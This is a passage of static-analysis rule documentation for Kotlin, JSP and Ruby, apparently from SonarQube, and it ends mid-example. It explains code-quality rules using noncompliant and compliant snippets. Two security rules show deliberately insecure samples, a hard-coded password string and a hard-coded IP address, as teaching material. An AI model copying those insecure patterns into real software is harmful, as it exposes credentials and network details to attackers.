kotlin:S1821

Nested when structures are difficult to understand because you can easily confuse the cases of an inner when as belonging to an outer statement. Therefore nested when statements should be avoided.

Specifically, you should structure your code to avoid the need for nested when statements, but if you cannot, then consider moving the inner when to another function.

Noncompliant Code Example

fun foo(n: Int, m: Int) {
  when (n) {
    0 ->
      when (m) {  // Noncompliant; nested when
        // ...
      }
    1 -> print("1")
    else -> print("2")
  }
}

Compliant Solution

fun foo(n: Int, m: Int) {
  when (n) {
    0 -> bar(m)
    1 -> print("1")
    else -> print("2")
  }
}

fun bar(m: Int){
  when(m) {
    // ...
  }
}
kotlin:S3923

Having all branches in a when or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a when/if chain at all.

Noncompliant Code Example

if (b == 0) {  // Noncompliant
     doOneMoreThing()
} else {
     doOneMoreThing()
}

when (i) {  // Noncompliant
    1 -> doSomething()
    2 -> doSomething()
    3 -> doSomething()
    else -> doSomething()
}

Exceptions

This rule does not apply to if chains without else-s, or to when-es without else clauses.

if (b == 0) {
    doOneMoreThing()
} else if (b == 1) {
    doOneMoreThing()
}

kotlin:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

var target = -5
val num = 3

target =- num // Noncompliant; target = -3. Is that really what's meant?
target =+ num // Noncompliant; target = 3

Compliant Solution

var target = -5
val num = 3

target = -num // Compliant; intent to assign inverse value of num is clear
target += num
kotlin:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

kotlin:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

foo(); bar();

Compliant Solution

foo();
bar();
kotlin:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class {...}

Compliant Solution

class MyClass {...}
kotlin:S1186

There are several reasons for a function not to have a function body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown.
  • The function is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.
kotlin:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (file != null) {
  if (file.isFile() || file.isDirectory()) {
    /* ... */
  }
}

Compliant Solution

if (file != null && isFileOrDirectory(file)) {
  /* ... */
}
fun isFileOrDirectory(file: File): Boolean {
    return file.isFile() || file.isDirectory();
}
kotlin:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3:

if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... }

Compliant Solution

if ((myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... }
kotlin:S1144

private methods that are never executed are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

kotlin:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if (true) {
  doSomething()
}
...
if (false) {
  doSomethingElse()
}

Compliant Solution

doSomething()
...

See

kotlin:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if (booleanMethod() || false) { /* ... */ }
doSomething(!false);

booleanVariable = if (booleanMethod()) true else false;
booleanVariable = if (booleanMethod()) true else exp;
booleanVariable = if (booleanMethod()) false else exp;
booleanVariable = if (booleanMethod()) exp else true;
booleanVariable = if (booleanMethod()) exp else false;

Compliant Solution

if (booleanMethod()) { /* ... */ }
doSomething(true);

booleanVariable = booleanMethod();
booleanVariable = booleanMethod() || exp;
booleanVariable = !booleanMethod() && exp;
booleanVariable = !booleanMethod() || exp;
booleanVariable = booleanMethod() && exp;
kotlin:S1763

Jump statements (return, break and continue) move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

fun foo(a: Int): Int {
  var i = 10;
  return a + i;       // Noncompliant
  i++;                // dead code
}

Compliant Solution

fun foo(a: Int): Int {
  var i = 10;
  return a + i;
}

See

kotlin:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
kotlin:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if (!(a == 2)) { ... }  // Noncompliant
val b = !(i < 10)  // Noncompliant

Compliant Solution

if (a != 2) { ... }
val b = (i >= 10)
kotlin:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Exceptions

This rule ignores *, +, and =.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
kotlin:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for (int i = 0; i < 42; i++){}  // Empty on purpose or missing piece of code ?

Exceptions

When a block contains a comment, this block is not considered to be empty.

while and unless loops are also exception to the rule.

while (order.processNext());  // Compliant
kotlin:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

fun foo(p1: String, p2: String, p3: String, p4: String, p5: String) { // Noncompliant
  // ...
}

Compliant Solution

fun foo(p1: String, p2: String, p3: String, p4: String) {
  // ...
}

Exceptions

Methods annotated with Spring's @RequestMapping (and related shortcut annotations, like @GetRequest) or @JsonCreator may have a lot of parameters, encapsulation being possible. Such methods are therefore ignored.

kotlin:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (x == 0) {
  doSomething()
} else if (x == 1) {
  doSomethingElse()
}

Compliant Solution

if (x == 0) {
  doSomething()
} else if (x == 1) {
  doSomethingElse()
} else {
  throw IllegalStateException()
}

Exceptions

When all branches of an if-else if end with return, break or throw, the code that comes after the if implicitly behaves as if it was in an else clause. This rule will therefore ignore that case.

See

kotlin:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

class A {
    fun run() {
        prepare("string literal")    // Noncompliant - "string literal" is duplicated 3 times
        execute("string literal")
        release("string literal")
    }

    fun method() {
        println("'")                 // Compliant - literal "'" has less than 5 characters and is excluded
        println("'")
        println("'")
    }
}

Compliant Solution

class A {
    companion object {
        const val CONSTANT = "string literal"
    }

    fun run() {
        prepare(CONSTANT)    // Compliant
        execute(CONSTANT)
        release(CONSTANT)
    }
}

Exceptions

To prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'.

kotlin:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

kotlin:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

kotlin:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
kotlin:S1151

The when statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated function.

Noncompliant Code Example

With the threshold set at 5:

when (myVariable) {
  0 -> {// Noncompliant: 6 lines till next case
    methodCall1("");
    methodCall2("");
    methodCall3("");
    methodCall4("");
    }
  1 -> {
    ...
  }
}

Compliant Solution

when (myVariable) {
  0 -> doSomething()
  1 -> {
    ...
  }
}
...
fun doSomething() {
    methodCall1("");
    methodCall2("");
    methodCall3("");
    methodCall4("");
}
kotlin:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

kotlin:S125

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

kotlin:S1479

When when statements have a large number of clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

kotlin:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

fun doSomething() {
    var name = ""
    // ...
    name = name
}

Compliant Solution

fun doSomething() {
    var name = ""
    // ...
    this.name = name
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
kotlin:ParsingError

When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse.

kotlin:S4663

An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed.

Noncompliant Code Example

/* */

/*

 */
kotlin:S134

Nested if, for, while, when, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

kotlin:S4144

When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored.

Noncompliant Code Example

class MyClass {
  fun calculateCode(): String {
    doTheThing()
    doOtherThing()
    return "done"
  }

  fun getStatus(): String {  // Noncompliant
    doTheThing()
    doOtherThing()
    return "done"
  }
}

Compliant Solution

class MyClass {
  fun calculateCode(): String {
    doTheThing()
    doOtherThing()
    return "done"
  }

  fun getStatus(): String = calculateCode()
}

Exceptions

Methods with fewer than 2 statements are ignored.

kotlin:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
kotlin:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

val params = "password=xxxx" // Sensitive
val writer = OutputStreamWriter(getOutputStream())
writer.write(params)
writer.flush()
...
val password = "xxxx" // Sensitive
...

Compliant Solution

val params = "password=${retrievePassword()}"
val writer = OutputStreamWriter(getOutputStream())
writer.write(params)
writer.flush()
...
val password = retrievePassword()
...

See

kotlin:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

val x = (y / 2 + 1)  // Compliant even if the parentheses are ignored by the compiler

if (a && ((x + y > 0))) {  // Noncompliant
  //...
}

return ((x + 1))  // Noncompliant

Compliant Solution

val x = (y / 2 + 1)

if (a && (x + y > 0)) {
  //...
}

return (x + 1)
kotlin:S1871

Having two clauses in a when statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a when, duplicates should be refactored.

Noncompliant Code Example

fun s1871(x: Int) {
    when (x) {
        1 -> {
            val y = x / 2
            print(y)
        }
        2 -> {
            val y = x / 2
            print(y)
        }
    }
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a when statement that contain a single line of code with or without a following break.

if (a == 1) {
    doSomething()  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
    doSomethingElse()
} else {
    doSomething()
}

But this exception does not apply to if chains without else-s, or to when-es without else clauses when all branches have the same single line of code. In case of if chains with else-s, or of when-es with default clauses, rule S3923 raises a bug.

if (a == 1) {
  doSomething()  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething()
}
kotlin:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

// FIXME denominator value might be  0
fun divide(numerator: Int, denominator: Int): Int = numerator / denominator

See

kotlin:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

fun doSomething() {
  // TODO
}

See

kotlin:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

kotlin:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

val ip = "192.168.12.42"
val socket = ServerSocket(ip, 6667)

Compliant Solution

val ip = System.getenv("myapplication.ip")
val socket = ServerSocket(ip, 6667)

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

common-jsp:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-jsp:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-jsp:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-jsp:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-jsp:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-jsp:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
ruby:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a function or block parameter name does not match the provided regular expression.

ruby:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

ruby:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

ruby:S1821

Nested case structures are difficult to understand because you can easily confuse the cases of an inner case as belonging to an outer statement. Therefore nested case statements should be avoided.

Specifically, you should structure your code to avoid the need for nested case statements, but if you cannot, then consider moving the inner case to another function.

Noncompliant Code Example

def foo(n, m)
  case n
  when 0
      case m  # Noncompliant; nested case
      when 0 then puts "0"
        # ...
      end
  when 1 then puts "1"
  else puts "2"
  end
end

Compliant Solution

def foo(n, m)
  case n
  when 0
    bar(m)
  when 1 then puts "1"
  else puts "2"
  end
end

def bar(m)
  case m
  when 0 then puts "0"
    # ...
  end
end
ruby:S3923

Having all branches in a case or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a case/if chain at all.

Noncompliant Code Example

if b == 0  # Noncompliant
  doOneMoreThing()
else
  doOneMoreThing()
end

b = a > 12 ? 4 : 4;  # Noncompliant

case i  # Noncompliant
  when 1
    doSomething()
  when 2
    doSomething()
  when 3
    doSomething()
  else
    doSomething()
end

Exceptions

This rule does not apply to if chains or case-es without else-s.

if b == 0 # no issue, this could have been done on purpose to make the code more readable
  doSomething()
elsif b == 1
  doSomething()
end
ruby:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

target = -5
num = 3

target =- num # Noncompliant; target = -3. Is that really what's meant?
target =+ num # Noncompliant; target = 3

Compliant Solution

target = -5
num = 3

target = -num # Compliant; intent to assign inverse value of num is clear
target += num
ruby:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

ruby:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if someCondition; puts "hello"; end

Compliant Solution

if someCondition
  puts "hello"
end
ruby:S101

Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression ^[A-Z][a-zA-Z0-9]*$:

class my_class
  ...
end

Compliant Solution

class MyClass
  ...
end
ruby:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.
ruby:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if !filename.nil?
  if File.file?(filename) || File.directory?(filename)
    # ...
  end
end

if a then
  unless b then
    # ...
  end
end

Compliant Solution

def isFileOrDirectory(filename)
  File.file?(filename) || File.directory?(filename)
end
# ...

if !filename.nil? && isFileOrDirectory(filename)
  # ...
end

if a && !b then
  # ...
end
ruby:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3:

if ((condition1 && condition2) || (condition3 && condition4)) && condition5
  ...
end

Compliant Solution

if (myFirstCondition() || mySecondCondition()) && myLastCondition()
  ...
end
ruby:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if true
  doSomething()
end
...
if false
  doSomethingElse()
end

Compliant Solution

doSomething()
...

See

ruby:S1763

Jump statements (return, break and next) move control flow out of the current code block. So any statements that come after a jump are dead code.

Noncompliant Code Example

def foo(a)
  i = 10
  return a + i    # Noncompliant
  i += 1          # dead code
end

Compliant Solution

def foo(a)
  i = 10
  return a + i
end

See

ruby:S1862

A case and a chain of if/elsif statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

For a case, the second when will never be executed, rendering it dead code. Worse there is the risk in this situation that future maintenance will be done on the dead case, rather than on the one that's actually used.

Noncompliant Code Example

if param == 1
  openWindow()
elsif param == 2
  closeWindow()
elsif param == 1  # Noncompliant
  moveWindowToTheBackground()
end

case i
  when 1
    # ...
  when 3
    # ...
  when 1  # Noncompliant
    # ...
  else
    # ...
end

Compliant Solution

if param == 1
  openWindow()
elsif param == 2
  closeWindow()
elsif param == 3
  moveWindowToTheBackground()
end

case i
  when 1
    # ...
  when 3
    # ...
  else
    # ...
end

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
ruby:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if  !(a == 2)  # Noncompliant
  # ...
end

b = !(a < 10) # Noncompliant

Compliant Solution

if a != 2
  # ...
end
b = (a >= 10)
ruby:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Exceptions

This rule ignores *, +, and =.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
ruby:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

def compute(a, b)
  sum = a + b
  if  sum > 0 # Noncompliant; empty on purpose or missing piece of code?
  end
  puts "Result: #{sum}"
end

Compliant Solution

def compute(a, b)
  sum = a + b
  if  sum > 0
    puts "Positive result"
  end
  puts "Result: #{sum}"
end

Exceptions

When a block contains a comment, this block is not considered to be empty.

while and unless loops are also exception to the rule.

while @order.process_next; end # Compliant
ruby:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

ruby:S126

This rule applies whenever an if statement is followed by one or more elsif statements; the final elsif should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final else clause in a case statement.

Noncompliant Code Example

if x == 0
  doSomething
elsif x == 1
  doSomethingElse
end

Compliant Solution

if x == 0
  doSomething
elsif x == 1
  doSomethingElse
else
  raise 'An error has occured'
end

Exceptions

When all branches of an if-else if end with return, break or throw, the code that comes after the if implicitly behaves as if it was in an else clause. This rule will therefore ignore that case.

See

ruby:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

def foo()
  prepare('action random1')    #Noncompliant - "action random1" is duplicated 3 times
  execute('action random1')
  release('action random1')
end

Compliant Solution

def foo()
  action1 = 'action random1'
  prepare(action1)
  execute(action1)
  release(action1)
end

Exceptions

To prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'.

ruby:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

ruby:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

ruby:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
ruby:S1151

The case statement should be used only to clearly define some new branches in the control flow. As soon as a when clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated function.

Noncompliant Code Example

With the threshold set at 5:

case myVariable
when 0 then # Noncompliant: 6 lines till next "when"
    methodCall1("")
    methodCall2("")
    methodCall3("")
    methodCall4("")
    methodCall5("")
    methodCall6("")
when 1
   # ...
end

Compliant Solution

case myVariable
when 0 then
  doSomething()
when 1
   # ...
end
...
def doSomething()
    methodCall1("")
    methodCall2("")
    methodCall3("")
    methodCall4("")
    methodCall5("")
    methodCall6("")
end
ruby:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

ruby:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

my_number = 023 # Noncompliant. my_number will hold 19, not 23 - was this really expected?

Compliant Solution

my_number = 23

Exceptions

This rule does not apply to values smaller than 8 and octal values having 3 digits, since 3 digits octal values are often used as file permission masks.

Example:

permission_mask = 0777
day_of_month = 03

See

ruby:S1479

When case statements have a large number of clauses, it is usually an attempt to map two sets of data. A real Hash structure would be more readable and maintainable, and should be used instead.

ruby:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

def set_name(name)
  name = name
end

Compliant Solution

def set_name(name)
  @name = name
end

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
ruby:ParsingError

When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse.

ruby:S4663

An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed.

Noncompliant Code Example

=begin
=end

=begin


=end
ruby:S134

Nested if, for, while, until, case and begin...rescue statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

ruby:S4144

When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

class Box
  def initialize(length, width, height)
    @length, @width, @height = length, width, height
  end

  def getVolume
    area = @length * @width
    return area * @height
  end

  def getArea                  # Noncompliant, implementation is identical to "getVolume"
    area = @length * @width
    return area * @height
  end
end

Compliant Solution

class Box
  def initialize(length, width, height)
    @length, @width, @height = length, width, height
  end

  def getVolume
    return getArea * @height
  end

  def getArea
    return @length * @width
  end
end

Exceptions

Methods with fewer than 2 statements are ignored.

ruby:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

#
# SonarQube, open source software quality management tool.
# Copyright (C) 2008-2018 SonarSource
# mailto:contact AT sonarsource DOT com
#
# SonarQube is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 3 of the License, or (at your option) any later version.
#
# SonarQube is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program; if not, write to the Free Software Foundation,
# Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
#
ruby:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

See

ruby:S131

The requirement for a final else clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

case param
  when 1
    do_something()
  when 2
    do_something_else()
end

Compliant Solution

case param
  when 1
    do_something()
  when 2
    do_something_else()
  else
    handle_error('error_message')
end

See

ruby:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

x = (y / 2 + 1)  # Compliant even if the parenthesis are ignored by the compiler

if a && ((x+y > 0))  # Noncompliant
  # ...
end

return ((x + 1)) # Noncompliant

Compliant Solution

x = (y / 2 + 1)

if a && (x+y > 0)
  # ...
end

return (x + 1)
ruby:S1871

Having two when clauses in a case statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a case, duplicates should be refactored.

Noncompliant Code Example

case i
  when 1
    doFirstThing()
    doSomething()
  when 2
    doSomethingDifferent()
  when 3 # Noncompliant; duplicates case 1's implementation
    doFirstThing()
    doSomething()
  else
    doTheRest()
end

if a >= 0 && a < 10
  doFirstThing()
  doTheThing()
elsif a >= 10 && a < 20
  doTheOtherThing()
elsif a >= 20 && a < 50
  doFirstThing()
